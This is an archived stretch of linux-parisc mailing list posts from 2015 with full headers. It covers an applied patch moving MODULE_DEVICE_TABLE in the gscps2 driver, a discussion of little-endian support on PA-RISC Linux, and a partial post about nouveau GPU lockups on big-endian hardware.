Subject: Re: [PATCH] MODULE_DEVICE_TABLE: fix gscps2
Date: Wed, 4 Feb 2015 11:00:18 -0800
Lines: 53
Approved: news@gmane.org
Message-ID: <20150204190018.GA7818@dtor-ws>
References: <1423062935-2025-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1423076428 18047 80.91.229.3 (4 Feb 2015 19:00:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Feb 2015 19:00:28 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Andrey Ryabinin <a.ryabinin@samsung.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-input@vger.kernel.org, linux-kernel@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 04 20:00:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YJ5Ba-0004YI-08
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Feb 2015 20:00:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161654AbbBDTAY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Feb 2015 14:00:24 -0500
Original-Received: from mail-ig0-f182.google.com ([209.85.213.182]:61364 "EHLO
	mail-ig0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1161462AbbBDTAY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Feb 2015 14:00:24 -0500
Original-Received: by mail-ig0-f182.google.com with SMTP id h15so6236584igd.3;
        Wed, 04 Feb 2015 11:00:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=uPpyaCSzSRgZEOHOEP3fyyWPDP/E+35aJo0aXN695uA=;
        b=SfDodHyDR7hNvGkYEk3q8j9YeRNDElm+jMLa6laZnM2IWOIbqArzhXerkqy1YLfu2o
         uxL9aKU9HzQg+68yhpj/Wp3abCaG5e+TdA+6FrVgw9ZoK7goyIaP50bDaVrC5UEj+hzd
         dIo0blk59KIjRj5Q1pWQvGchkz+HerF0FBecNlWAH4O29RqdORAX6/UtVptZOsFmZqVJ
         jfZky5Sy5uLEJe+3v5dGd9M7Lif3IaI/ok5nd0HDLW/bo2NH8g+SICqKgB5EYNUQ/CwJ
         fREP9/aN9llhZFyoDSYhAkkJbHJAyGMmRWiCJiCDrcb5Db522ErfPQtsQN19wk92lFa0
         IkSA==
X-Received: by 10.107.8.67 with SMTP id 64mr37414389ioi.67.1423076423037;
        Wed, 04 Feb 2015 11:00:23 -0800 (PST)
Original-Received: from dtor-ws ([2620:0:1000:1301:b5fc:ca94:1e3c:522d])
        by mx.google.com with ESMTPSA id i2sm1261946ioi.41.2015.02.04.11.00.21
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Wed, 04 Feb 2015 11:00:21 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1423062935-2025-1-git-send-email-geert@linux-m68k.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25561 gmane.linux.kernel.input:41070 gmane.linux.kernel:1882421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25561>

On Wed, Feb 04, 2015 at 04:15:35PM +0100, Geert Uytterhoeven wrote:
> The patch "module: fix types of device tables aliases" newly requires
> that invocations of
> 
> MODULE_DEVICE_TABLE(type, name);
> 
> come *after* the definition of `name'.  That is reasonable, but gscps2
> wasn't doing this.  Fix it.
> 
> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>

Applied, thank you.

> ---
> One more fix for your collection...
> 
> parisc/allmodconfig
> http://kisskb.ellerman.id.au/kisskb/buildresult/12358386/
> ---
>  drivers/input/serio/gscps2.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
> index 8d9ba0c3827c5b2a..94ab494a6ade8d49 100644
> --- a/drivers/input/serio/gscps2.c
> +++ b/drivers/input/serio/gscps2.c
> @@ -40,7 +40,6 @@
>  MODULE_AUTHOR("Laurent Canet <canetl@esiee.fr>, Thibaut Varene <varenet@parisc-linux.org>, Helge Deller <deller@gmx.de>");
>  MODULE_DESCRIPTION("HP GSC PS2 port driver");
>  MODULE_LICENSE("GPL");
> -MODULE_DEVICE_TABLE(parisc, gscps2_device_tbl);
>  
>  #define PFX "gscps2.c: "
>  
> @@ -439,6 +438,7 @@ static struct parisc_device_id gscps2_device_tbl[] = {
>  #endif
>  	{ 0, }	/* 0 terminated list */
>  };
> +MODULE_DEVICE_TABLE(parisc, gscps2_device_tbl);
>  
>  static struct parisc_driver parisc_ps2_driver = {
>  	.name		= "gsc_ps2",
> -- 
> 1.9.1
> 

-- 
Dmitry
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Held Bier <lausgans@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Little endianness
Date: Tue, 10 Feb 2015 10:31:44 +0000 (UTC)
Lines: 15
Approved: news@gmane.org
Message-ID: <loom.20150210T112204-76@post.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1423564326 9498 80.91.229.3 (10 Feb 2015 10:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Feb 2015 10:32:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 10 11:32:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YL86m-0005uc-Ju
	for glpp-linux-parisc@plane.gmane.org; Tue, 10 Feb 2015 11:31:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753981AbbBJKbz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Feb 2015 05:31:55 -0500
Original-Received: from plane.gmane.org ([80.91.229.3]:44154 "EHLO plane.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753561AbbBJKbz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Feb 2015 05:31:55 -0500
Original-Received: from list by plane.gmane.org with local (Exim 4.69)
	(envelope-from <glpp-linux-parisc@m.gmane.org>)
	id 1YL86j-0005sD-9W
	for linux-parisc@vger.kernel.org; Tue, 10 Feb 2015 11:31:53 +0100
Original-Received: from gero.in ([77.37.212.15])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Tue, 10 Feb 2015 11:31:53 +0100
Original-Received: from lausgans by gero.in with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Tue, 10 Feb 2015 11:31:53 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 9
Original-X-Complaints-To: usenet@ger.gmane.org
X-Gmane-NNTP-Posting-Host: sea.gmane.org
User-Agent: Loom/3.14 (http://gmane.org/)
X-Loom-IP: 77.37.212.15 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25562>

Hi.

Looks like PA-RISC 1.1 added bi-endian support. 
What about PA-RISC Linux? I know it's big endian. 
But does it possible to build little endian kernel? If so, how?
Is migration to little endian planned? It should be reasonable 
as it will bring more  compatibility with other Linux world.

Thanks.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Little endianness
Date: Tue, 10 Feb 2015 10:30:34 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <BLU436-SMTP173A5545802614E9A03A58A97240@phx.gbl>
References: <loom.20150210T112204-76@post.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1423582622 32377 80.91.229.3 (10 Feb 2015 15:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Feb 2015 15:37:02 +0000 (UTC)
To: Held Bier <lausgans@gmail.com>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 10 16:36:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YLCrt-0007e0-V3
	for glpp-linux-parisc@plane.gmane.org; Tue, 10 Feb 2015 16:36:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751431AbbBJPgx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Feb 2015 10:36:53 -0500
Original-Received: from blu004-omc4s27.hotmail.com ([65.55.111.166]:59755 "EHLO
	BLU004-OMC4S27.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751424AbbBJPgx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Feb 2015 10:36:53 -0500
X-Greylist: delayed 376 seconds by postgrey-1.27 at vger.kernel.org; Tue, 10 Feb 2015 10:36:53 EST
Original-Received: from BLU436-SMTP173 ([65.55.111.137]) by BLU004-OMC4S27.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Tue, 10 Feb 2015 07:30:36 -0800
X-TMN: [uwd7Aaa+4bjVB7amwV4nuCh4aKCRNqkQ]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <loom.20150210T112204-76@post.gmane.org>
X-OriginalArrivalTime: 10 Feb 2015 15:30:35.0540 (UTC) FILETIME=[83D2C540:01D04546]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25563>

On 2015-02-10 5:31 AM, Held Bier wrote:
> Hi.
>
> Looks like PA-RISC 1.1 added bi-endian support.
> What about PA-RISC Linux? I know it's big endian.
> But does it possible to build little endian kernel? If so, how?
> Is migration to little endian planned? It should be reasonable
> as it will bring more  compatibility with other Linux world.
Unlikely.  According to the PA 2.0 arch, implementation of this feature 
was optional.

Further the PDC/IODC firmware and software tool chains need little 
endian support.  This
is a massive amount of work.  So, unless one one decided to create a 
64-bit embedded
PA-RISC processor for mass deployment, it wouldn't be worth the effort.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Little endianness
Date: Tue, 10 Feb 2015 07:56:41 -0800
Lines: 43
Approved: news@gmane.org
Message-ID: <1423583801.2167.17.camel@HansenPartnership.com>
References: <loom.20150210T112204-76@post.gmane.org>
	 <BLU436-SMTP173A5545802614E9A03A58A97240@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1423583813 21529 80.91.229.3 (10 Feb 2015 15:56:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Feb 2015 15:56:53 +0000 (UTC)
Cc: Held Bier <lausgans@gmail.com>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 10 16:56:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YLDB5-0001AD-Na
	for glpp-linux-parisc@plane.gmane.org; Tue, 10 Feb 2015 16:56:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751548AbbBJP4n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Feb 2015 10:56:43 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52452 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751170AbbBJP4n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Feb 2015 10:56:43 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AFBFC8EE0BE;
	Tue, 10 Feb 2015 07:56:42 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VJs9r41vqjkC; Tue, 10 Feb 2015 07:56:42 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 50E238EE087;
	Tue, 10 Feb 2015 07:56:42 -0800 (PST)
In-Reply-To: <BLU436-SMTP173A5545802614E9A03A58A97240@phx.gbl>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25564
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25564>

On Tue, 2015-02-10 at 10:30 -0500, John David Anglin wrote:
> On 2015-02-10 5:31 AM, Held Bier wrote:
> > Hi.
> >
> > Looks like PA-RISC 1.1 added bi-endian support.
> > What about PA-RISC Linux? I know it's big endian.
> > But does it possible to build little endian kernel? If so, how?
> > Is migration to little endian planned? It should be reasonable
> > as it will bring more  compatibility with other Linux world.

What compatibility?  x86 is LE, Arm is Schizophrenic, PPC, Sparc and PA
are BE.  We're required to support the bus standards anyway, so the SCSI
bus is BE and the PCI bus LE by spec.  There's no such thing as a
"compatible" endianness.

> Unlikely.  According to the PA 2.0 arch, implementation of this feature 
> was optional.

I think it was originally designed for some type of LASI system.
There's an endian flip in some of the LASI devices as well.  I think the
original problem was LASI was designed big endian, but the chosen SCSI
processor was designed for LE at that time, so they tried to flip the
processor.  I suspect the reason the feature became optional is that it
caused more problems than it solved.

> Further the PDC/IODC firmware and software tool chains need little 
> endian support.  This
> is a massive amount of work.  So, unless one one decided to create a 
> 64-bit embedded
> PA-RISC processor for mass deployment, it wouldn't be worth the effort.

It's a bit pointless too.  Coping with endianness isn't really an
unsolved OS problem, so it would cost a huge amount, open a large can of
worms and buy us nothing.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lausgans@gmail.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Little endianness
Date: Sun, 15 Feb 2015 09:49:32 +0300
Lines: 77
Approved: news@gmane.org
Message-ID: <4CB18756-188A-47DF-9E31-10EAFE3C558D@gmail.com>
References: <loom.20150210T112204-76@post.gmane.org> <BLU436-SMTP173A5545802614E9A03A58A97240@phx.gbl> <1423583801.2167.17.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 8.2 \(2070.6\))
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1423982990 685 80.91.229.3 (15 Feb 2015 06:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Feb 2015 06:49:50 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 15 07:49:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YMt1P-0001jM-Lc
	for glpp-linux-parisc@plane.gmane.org; Sun, 15 Feb 2015 07:49:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751472AbbBOGtg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Feb 2015 01:49:36 -0500
Original-Received: from mail-la0-f48.google.com ([209.85.215.48]:38406 "EHLO
	mail-la0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751124AbbBOGtg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Feb 2015 01:49:36 -0500
Original-Received: by lamq1 with SMTP id q1so23176793lam.5
        for <linux-parisc@vger.kernel.org>; Sat, 14 Feb 2015 22:49:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=TQZhrmRS3GHDzehum/7n4KDeglU1f/ODrIaDqpfvLEI=;
        b=Pkz9xvS8JvByHKm2dWKWVdzTw5WV/N/RmMU9aWpnvdjOC3cMVc5XHIQ201bUc/CmeV
         NZJ+73RiPWBzgIoaGf39T0Z9Iq43hwpL83CZwF7KLq570LQSiZ5LoAbJCCrlYuL3dqqd
         gI08qa0KBUKsbIx0DgH7EaNGQNpjmSoyI2DlqFwtwcUm8B/N8TlmXA4SiV3mwzfd7d5z
         roYTJlBUfqCL+a6w3zFU7nD/xuoezQ6xwmJaQVCkAIrilsMUiMrZQJDWjE2isSwNP5Pm
         OPFR1mbTxyn0TE1n+0My05CixHnysczKxsAUbEheRTCcQNWT27ndtqFd8JVFcp5gHzLY
         uDRw==
X-Received: by 10.112.92.204 with SMTP id co12mr15907048lbb.43.1423982974705;
        Sat, 14 Feb 2015 22:49:34 -0800 (PST)
Original-Received: from [192.168.1.31] (gero.in. [77.37.212.15])
        by mx.google.com with ESMTPSA id nq7sm2262009lbb.49.2015.02.14.22.49.34
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 14 Feb 2015 22:49:34 -0800 (PST)
In-Reply-To: <1423583801.2167.17.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.2070.6)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25565>


> James Bottomley <James.Bottomley@HansenPartnership.com>:
>=20
> On Tue, 2015-02-10 at 10:30 -0500, John David Anglin wrote:
>> On 2015-02-10 5:31 AM, Held Bier wrote:
>>> Hi.
>>>=20
>>> Looks like PA-RISC 1.1 added bi-endian support.
>>> What about PA-RISC Linux? I know it's big endian.
>>> But does it possible to build little endian kernel? If so, how?
>>> Is migration to little endian planned? It should be reasonable
>>> as it will bring more  compatibility with other Linux world.
>=20
> What compatibility?  x86 is LE, Arm is Schizophrenic, PPC, Sparc and =
PA
> are BE.  We're required to support the bus standards anyway, so the S=
CSI
> bus is BE and the PCI bus LE by spec.  There's no such thing as a
> "compatible" endianness.

Some software authors still assume that we're living in x86 only world,=
 or just don't care. This leads to issues when one wish to run such sof=
tware on a BE Linux.

POWER is moving to LE:
https://www.ibm.com/developerworks/community/blogs/fe313521-2e95-46f2-8=
17d-44a4f27eba32/entry/just_the_faqs_about_little_endian
"Although Power already has Linux distributions and supporting applicat=
ions that run in big endian mode, the Linux application ecosystem for x=
86 platforms is much larger and Linux on x86 uses little endian mode.  =
Numerous clients, software partners, and IBM=E2=80=99s own software dev=
elopers have told us that porting their software to Power becomes simpl=
er if the Linux environment on Power supports little endian mode, more =
closely matching the environment provided by Linux on x86.  This new le=
vel of support will lower the barrier to entry for porting Linux on x86=
 software to Linux on Power."

=46or PPC the patch was made: http://lwn.net/Articles/408845/

>=20
>> Unlikely.  According to the PA 2.0 arch, implementation of this feat=
ure=20
>> was optional.
>=20
> I think it was originally designed for some type of LASI system.
> There's an endian flip in some of the LASI devices as well.  I think =
the
> original problem was LASI was designed big endian, but the chosen SCS=
I
> processor was designed for LE at that time, so they tried to flip the
> processor.  I suspect the reason the feature became optional is that =
it
> caused more problems than it solved.
>=20
>> Further the PDC/IODC firmware and software tool chains need little=20
>> endian support.  This
>> is a massive amount of work.  So, unless one one decided to create a=
=20
>> 64-bit embedded
>> PA-RISC processor for mass deployment, it wouldn't be worth the effo=
rt.
>=20
> It's a bit pointless too.  Coping with endianness isn't really an
> unsolved OS problem, so it would cost a huge amount, open a large can=
 of
> worms and buy us nothing.
>=20
> James
>=20
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lausgans@gmail.com
Newsgroups: gmane.linux.ports.parisc,gmane.comp.video.dri.user
Subject: Re: Video option for a big endian machine?
Date: Sun, 15 Feb 2015 09:52:41 +0300
Lines: 43
Approved: news@gmane.org
Message-ID: <5D8838EB-20BB-4162-A267-6C798F593D9D@gmail.com>
References: <ABECBC9A-16AB-447B-BEDE-E113D1B258A9@gmail.com> <CADnq5_P237WcxtQgo0yrV4nsK9e95nukjNBWXAYMhibo=Co=Jw@mail.gmail.com> <CAPM=9txYixkb66PkYMypUsWEhEF25tieFtaGwdnj6_1fLOCZPA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 8.2 \(2070.6\))
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1423983175 3174 80.91.229.3 (15 Feb 2015 06:52:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Feb 2015 06:52:55 +0000 (UTC)
Cc: dri-users@lists.freedesktop.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Dave Airlie <airlied@gmail.com>,
	Alex Deucher <alexdeucher@gmail.com>,
	Ilia Mirkin <imirkin@alum.mit.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 15 07:52:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YMt4Q-0003LK-MO
	for glpp-linux-parisc@plane.gmane.org; Sun, 15 Feb 2015 07:52:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751013AbbBOGwp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Feb 2015 01:52:45 -0500
Original-Received: from mail-la0-f43.google.com ([209.85.215.43]:38637 "EHLO
	mail-la0-f43.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750933AbbBOGwo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Feb 2015 01:52:44 -0500
Original-Received: by lamq1 with SMTP id q1so23181715lam.5
        for <linux-parisc@vger.kernel.org>; Sat, 14 Feb 2015 22:52:43 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=QNDeTQv0S86AU0MC3gVv3jQV+Ir/fKWPtKo4zDSOcGk=;
        b=UzQ4ScvU7TGQhvDq6DrYMfEHEg70hQEfaLAPLuqpd4ys7G/VrbylTS7wOPfXTPecUi
         qx7gZQ8PV3AeAraRzY4JDyumpHftpP8wMGvmix4QijbUv18WEpYXubSqoB2SpPmHPhhF
         Ut+9tXvjLVNiaqW/spRge/OnPQMdIuWwm1eMOlENUIcitSHvOcVd3bO6AydRN0z+IuRt
         fU8SjN2oE+Q5hDo5EHR6doxXnNJ9ztve4GmlBBKx2Ceg6RluWjjcTnhoK+J2MzeAGWEt
         KCeJD0bfE0Y3aOhuILHJa25RJppCroYSl56bzMSFM+y6Jav8kIegpBWsjVEe5wpNzsDj
         Wqiw==
X-Received: by 10.152.1.170 with SMTP id 10mr15871179lan.89.1423983163138;
        Sat, 14 Feb 2015 22:52:43 -0800 (PST)
Original-Received: from [192.168.1.31] (gero.in. [77.37.212.15])
        by mx.google.com with ESMTPSA id pq7sm2067119lbc.17.2015.02.14.22.52.42
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 14 Feb 2015 22:52:42 -0800 (PST)
In-Reply-To: <CAPM=9txYixkb66PkYMypUsWEhEF25tieFtaGwdnj6_1fLOCZPA@mail.gmail.com>
X-Mailer: Apple Mail (2.2070.6)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25566 gmane.comp.video.dri.user:6528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25566>

Thanks much for the answers, guys!

> Ilia Mirkin <imirkin@alum.mit.edu>:
> 
> With nouveau, you can generally get older cards to work

Took a bunch of gf2mx and fx5500 cards I had access to. With Noveau they fail with "GPU lockup". The kernel version is 3.16.7.
The issue chain is nouveau_fbcon_imageblit(): nouveau_fbcon_gpu_lockup() is called -> nv04_fbcon_imageblit(): while (dsize) { ... ret = RING_SPACE(chan, iter_len + 1); if (ret) return ret; /* -EBUSY at some iteration */ ... } -> nouveau_dma_wait() -> while (chan->dma.free < size) { get = READ_GET(chan, &prev_get, &cnt); if (unlikely(get == -EBUSY)) return -EBUSY; /* HERE */ ... }

> Dave Airlie <airlied@gmail.com>:
> 
> On 12 February 2015 at 00:44, Alex Deucher <alexdeucher@gmail.com> wrote:
>> On Wed, Feb 11, 2015 at 3:53 AM,  <lausgans@gmail.com> wrote:
>>> Hello.
>>> 
